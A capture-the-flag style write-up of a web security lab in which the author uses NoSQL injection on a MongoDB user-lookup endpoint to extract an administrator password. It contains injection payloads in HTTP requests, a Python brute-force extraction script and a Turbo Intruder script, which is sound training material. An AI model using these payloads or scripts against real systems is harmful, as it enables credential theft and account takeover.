The user lookup functionality for this lab is powered by a MongoDB NoSQL database. It is vulnerable to NoSQL injection.
To solve the lab, extract the password for the administrator user, then log in to their account.
You can log in to your own account using the following credentials: wiener:peter.
Approach
Upon logging into the lab and enabling the FoxyProxy extension to monitor requests in Burp Suite, I focused on exploring potential NoSQL injection points. One particular request caught my attention:
GET /user/lookup?user=wiener HTTP/2
Host: 0ac400c4043d092c80ee801000ec00fb.web-security-academy.net
Cookie: session=ySFDmsyjCiMPw64oWVAdDkrWDxj2Zohr
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
I sent this request to Repeater and began experimenting to identify any abnormal behaviors. Initially, I injected a ' character and received an error, indicating that the input data was not being filtered or sanitized.
To further test the injection's functionality, I sent two requests, one with a true statement and the other with a false statement. Here's the request with the true statement:
GET /user/lookup?user=wiener' && '1'='1' HTTP/2
Host: 0ac400c4043d092c80ee801000ec00fb.web-security-academy.net
Cookie: session=ySFDmsyjCiMPw64oWVAdDkrWDxj2Zohr
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
And the request with the false statement:
GET /user/lookup?user=wiener' && '1'='0 HTTP/2
Host: 0ac400c4043d092c80ee801000ec00fb.web-security-academy.net
Cookie: session=ySFDmsyjCiMPw64oWVAdDkrWDxj2Zohr
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
After URL encoding the payload, I observed that the true statement request fetched wiener's data, while the false statement request did not, confirming the successful injection of JavaScript payloads.
To proceed, I aimed to determine the length of the administrator's password to facilitate brute-force attacks. Using a comparison this.password.length < number, I crafted the following payload:
GET /user/lookup?user=administrator'+%26%26+this.password.length+<+9+||+'a'%3d%3d'b HTTP/2
Host: 0ac400c4043d092c80ee801000ec00fb.web-security-academy.net
Cookie: session=ySFDmsyjCiMPw64oWVAdDkrWDxj2Zohr
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
After several attempts, I determined that the password length fell between 9 and 7 characters, with the actual length being 8 characters.
With the password length identified, I proceeded to brute-force the administrator's password using two methods.
First method
I utilized a Python script to iterate through possible characters and verify the correct characters at each position.
import requests
cookies = {"session": "ySFDmsyjCiMPw64oWVAdDkrWDxj2Zohr"}
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Referer": "https://0ac400c4043d092c80ee801000ec00fb.web-security-academy.net/my-account?id=wiener", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "Te": "trailers"}
chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
proxies={"http":"127.0.0.1:8080"}
admin_pw =""
for i in range(8):
for j in chars:
payload = f"administrator'+%26%26+this.password[{i}]+%3d%3d+'{j}'+||+'a'%3d%3d'b"
url = f"https://0ac400c4043d092c80ee801000ec00fb.web-security-academy.net:443/user/lookup?user={payload}"
r = requests.get(url,headers=headers,cookies=cookies,proxies=proxies)
if "Could not find user" not in r.text:
print(f"char at index: {i} is {j}")
admin_pw+=j
print(admin_pw)
and by executing it I can get the password:
PS C:\> python .\admin_pw_brute.py
char at index: 0 is j
char at index: 1 is q
char at index: 2 is o
char at index: 3 is m
char at index: 4 is u
char at index: 5 is w
char at index: 6 is k
char at index: 7 is d
jqomuwkd
Second method
I employed the Turbo Intruder extension with a script to automate the brute-force process and identify the correct characters efficiently.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=25,
pipeline=False
)
for index in range(50):
for payload in "abcdefghijklmnopqrstuvwxyz0123456789":
modified_payload = "administrator'+%26%26+this.password[{}]+%3d%3d+'{}'+||+'a'%3d%3d'b".format(index, payload)
engine.queue(target.req, modified_payload)
def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response
if req.status != 404:
table.add(req)
By running this script and filtering by length, I can observe the request with the correct characters at the top. From there, I can copy them in order to reconstruct the administrator's password.
Using either method, I successfully retrieved the administrator's password. By logging in as the administrator, I completed the lab.